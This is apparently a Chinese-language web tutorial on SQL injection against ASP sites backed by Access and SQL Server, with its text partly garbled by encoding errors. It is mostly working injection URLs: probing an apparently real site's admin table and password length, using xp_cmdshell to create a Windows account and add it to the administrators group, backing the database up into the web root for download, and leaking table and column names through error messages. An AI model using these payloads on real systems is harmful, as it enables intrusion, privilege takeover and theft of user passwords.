ACCESS 

查詢(xún)數(shù)據(jù)庫(kù)類(lèi)型 
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)

查詢(xún)表admin頁(yè)面返回正常顯示為有，錯(cuò)誤為無(wú)。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)

查詢(xún)admin表中的項(xiàng)admin
/product.asp?sort_id=24 and exists (select admin_name from admin) 

查詢(xún)admin表中的項(xiàng)admin里面的內(nèi)容長(zhǎng)度 小于出錯(cuò) 等于返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7

暴力猜解admin表中的項(xiàng)admin_name

SQL


①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

　　分號(hào);在SQLServer中表示隔開(kāi)前后兩句語(yǔ)句，--表示后面的語(yǔ)句為注釋?zhuān)?，這句語(yǔ)句在SQLServer中將被分成兩句執(zhí)行，先是Select出ID=1的記錄，然后執(zhí)行存儲(chǔ)過(guò)程xp_cmdshell，這個(gè)存儲(chǔ)過(guò)程用于調(diào)用系統(tǒng)命令，于是，用net命令新建了用戶(hù)名為name、密碼為password的windows的帳號(hào)，接著：

②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--

　　將新建的帳號(hào)name加入管理員組，不用兩分鐘，你已經(jīng)拿到了系統(tǒng)最高權(quán)限！當(dāng)然，這種方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況，否則，是沒(méi)有權(quán)限調(diào)用xp_cmdshell的。

　?、踙ttp://Site/url.asp?id=1 ;;and db_name()>0

前面有個(gè)類(lèi)似的例子and user>0，作用是獲取連接用戶(hù)名，db_name()是另一個(gè)系統(tǒng)變量，返回的是連接的數(shù)據(jù)庫(kù)名。

④http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫(kù)名 to disk='c:inetpubwwwroot
.db';--

這是相當(dāng)狠的一招，從③拿到的數(shù)據(jù)庫(kù)名，加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑，將數(shù)據(jù)庫(kù)備份到Web目錄下面，再用HTTP把整個(gè)數(shù)據(jù)庫(kù)就完完整整的下載回來(lái)，所有的管理員及用戶(hù)密碼都一覽無(wú)遺！在不知道絕對(duì)路徑的時(shí)候，還可以備份到網(wǎng)絡(luò)地址的方法（如\202.96.xx.xxShare
.db），但成功率不高。

　?、輍ttp://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0

前面說(shuō)過(guò)，sysobjects是SQLServer的系統(tǒng)表，存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象，xtype='U' and status>0，表示用戶(hù)建立的表名，上面的語(yǔ)句將第一個(gè)表名取出，與0比較大小，讓報(bào)錯(cuò)信息把表名暴露出來(lái)。第二、第三個(gè)表名怎么獲取？還是留給我們聰明的讀者思考吧。

⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0

從⑤拿到表名后，用object_id(‘表名')獲取表名對(duì)應(yīng)的內(nèi)部ID，col_name(表名ID,1)代表該表的第1個(gè)字段名，將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。

最新評(píng)論